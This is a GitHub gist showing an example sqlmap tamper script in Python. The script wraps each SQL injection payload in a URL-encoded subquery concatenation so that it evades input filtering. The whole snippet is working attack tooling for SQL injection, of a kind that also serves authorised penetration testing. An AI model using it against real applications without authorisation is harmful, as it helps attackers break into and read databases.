Skip to content

Instantly share code, notes, and snippets.

@KINGSABRI
Created December 3, 2017 22:00
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KINGSABRI/c8b03821e1b8da5dd080f479e9b6b057 to your computer and use it in GitHub Desktop.
Save KINGSABRI/c8b03821e1b8da5dd080f479e9b6b057 to your computer and use it in GitHub Desktop.
How to create SQLmap tamper
#!/usr/bin/env python
"""
KING SABRI | @KINGSABRI
An example of sqlmap tamper script to inject the payload in query
"""
from lib.core.data import kb
from lib.core.enums import PRIORITY
import string
import re
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
query = "'%2b(select*from(select(QUERYQUERY))a)%2b'"
retVal = payload
if payload:
retVal = query.replace("QUERYQUERY", payload)
return retVal
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment